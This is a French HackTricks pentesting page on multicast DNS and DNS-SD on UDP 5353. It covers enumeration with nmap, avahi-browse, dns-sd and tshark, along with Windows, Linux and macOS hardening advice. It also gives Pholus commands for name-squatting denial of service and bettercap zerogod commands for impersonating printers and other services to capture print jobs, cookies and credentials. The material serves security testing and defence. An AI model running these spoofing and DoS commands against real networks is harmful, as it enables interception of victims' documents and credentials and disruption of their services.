5353/UDP Multicast DNS (mDNS) et DNS-SD
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Multicast DNS (mDNS) permet la résolution de noms et la découverte de services semblables à DNS à l’intérieur d’un lien local sans serveur DNS unicast. Il utilise UDP/5353 et les adresses multicast 224.0.0.251 (IPv4) et FF02::FB (IPv6). La découverte de services DNS (DNS-SD, généralement utilisée avec mDNS) fournit un moyen standardisé d’énumérer et de décrire les services via des enregistrements PTR, SRV et TXT.
PORT STATE SERVICE
5353/udp open zeroconf
Détails clés du protocole que vous exploiterez souvent lors des attaques :
- Les noms dans la zone .local sont résolus via mDNS.
- Le bit QU (Query Unicast) peut demander des réponses unicast même pour des questions multicast.
- Les implémentations doivent ignorer les paquets non provenant du lien local ; certaines piles les acceptent encore.
- Le sondage/l’annonce impose des noms d’hôtes/services uniques ; interférer ici crée des conditions de DoS/“name squatting”.
Modèle de service DNS-SD
Les services sont identifiés comme _
Exploration et énumération du réseau
- scan cible nmap (mDNS direct sur un hôte) :
nmap -sU -p 5353 --script=dns-service-discovery <target>
- découverte par diffusion nmap (écoutez le segment et énumérez tous les types/instances DNS-SD) :
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux) :
# Lister les types de service
avahi-browse -bt _services._dns-sd._udp
# Parcourir tous les services et résoudre en hôte/port
avahi-browse -art
- Apple dns-sd (macOS) :
# Parcourir tous les services HTTP
dns-sd -B _http._tcp
# Énumérer les types de service
dns-sd -B _services._dns-sd._udp
# Résoudre une instance spécifique en SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Capture de paquets avec tshark :
# Capture en direct
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Seulement les requêtes de liste de services DNS-SD
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Astuce : Certains navigateurs/WebRTC utilisent des noms d’hôtes mDNS éphémères pour masquer les IP locales. Si vous voyez des candidats random-UUID.local sur le fil, résolvez-les avec mDNS pour pivoter vers des IP locales.
Attaques
Interférence de sondage de nom mDNS (DoS / name squatting)
Pendant la phase de sondage, un hôte vérifie l’unicité du nom. Répondre avec des conflits falsifiés l’oblige à choisir de nouveaux noms ou à échouer. Cela peut retarder ou empêcher l’enregistrement et la découverte de services.
Exemple avec Pholus :
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Usurpation de service et impersonation (MitM)
Imitez les services DNS-SD annoncés (imprimantes, AirPlay, HTTP, partages de fichiers) pour forcer les clients à se connecter à vous. Cela est particulièrement utile pour :
- Capturer des documents en usurpant _ipp._tcp ou _printer._tcp.
- Attirer les clients vers des services HTTP/HTTPS pour récolter des tokens/cookies ou livrer des charges utiles.
- Combiner avec des techniques de relais NTLM lorsque les clients Windows négocient l’authentification avec des services usurpés.
Avec le module zerogod de bettercap (usurpateur/impersonateur mDNS/DNS-SD) :
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Aussi voir le spoofing LLMNR/NBNS/mDNS/WPAD générique et les workflows de capture/relais d’identifiants :
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Remarques sur les problèmes d’implémentation récents (utile pour DoS/persistente lors des engagements)
- Les bugs de crash d’Avahi reachable-assertion et D-Bus (2023) peuvent terminer avahi-daemon sur les distributions Linux (par exemple, CVE-2023-38469..38473, CVE-2023-1981), perturbant la découverte de services sur les hôtes cibles jusqu’au redémarrage.
- Le DoS de la passerelle mDNS du contrôleur LAN sans fil Cisco IOS XE (2024, CVE-2024-20303) permet aux attaquants adjacents de provoquer une forte utilisation du CPU et de déconnecter les points d’accès. Si vous rencontrez une passerelle mDNS entre les VLAN, soyez conscient de sa stabilité sous des mDNS malformés ou à haut débit.
Considérations défensives et OPSEC
- Limites de segment : Ne pas router 224.0.0.251/FF02::FB entre les zones de sécurité à moins qu’une passerelle mDNS ne soit explicitement requise. Si vous devez relier la découverte, préférez les listes d’autorisation et les limites de taux.
- Points de terminaison/serveurs Windows :
- Pour désactiver complètement la résolution de noms via mDNS, définissez la valeur du registre et redémarrez :
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- Dans les environnements gérés, désactivez la règle intégrée “mDNS (UDP-In)” du pare-feu Windows Defender (au moins sur le profil de domaine) pour empêcher le traitement mDNS entrant tout en préservant la fonctionnalité domestique/itinérante.
- Sur les nouvelles versions de Windows 11/ modèles GPO, utilisez la politique “Configuration de l’ordinateur > Modèles administratifs > Réseau > Client DNS > Configurer le protocole DNS multicast (mDNS)” et définissez-le sur Désactivé.
- Linux (Avahi) :
- Limitez la publication lorsque ce n’est pas nécessaire : définissez
disable-publishing=yes, et restreignez les interfaces avecallow-interfaces=/deny-interfaces=dans/etc/avahi/avahi-daemon.conf. - Envisagez
check-response-ttl=yeset évitezenable-reflector=yesà moins que cela ne soit strictement nécessaire ; préférez les listes d’autorisationreflect-filters=lors du reflet. - macOS : Restreindre le mDNS entrant aux pare-feu hôte/réseau lorsque la découverte Bonjour n’est pas nécessaire pour des sous-réseaux spécifiques.
- Surveillance : Alertez sur des pics inhabituels dans les requêtes
_services._dns-sd._udp.localou des changements soudains dans SRV/TXT de services critiques ; ce sont des indicateurs de spoofing ou d’imitation de service.
Référence rapide des outils
- nmap NSE :
dns-service-discoveryetbroadcast-dns-service-discovery. - Pholus : scan actif, balayages mDNS inversés, aides DoS et spoofing.
# Sniffing passif (secondes de timeout)
sudo python3 pholus3.py <iface> -stimeout 60
# Énumérer les types de services
sudo python3 pholus3.py <iface> -sscan
# Envoyer des requêtes mDNS génériques
sudo python3 pholus3.py <iface> --request
# Balayage mDNS inversé d'un sous-réseau
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod : découvrir, sauvegarder, annoncer et imiter les services mDNS/DNS-SD (voir exemples ci-dessus).
Spoofing/MitM
L’attaque la plus intéressante que vous pouvez effectuer sur ce service est de réaliser un MitM dans la communication entre le client et le véritable serveur. Vous pourriez être en mesure d’obtenir des fichiers sensibles (MitM la communication avec l’imprimante) ou même des identifiants (authentification Windows).
Pour plus d’informations, consultez :
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Références
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (découverte mDNS/DNS-SD, spoofing, imitation)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

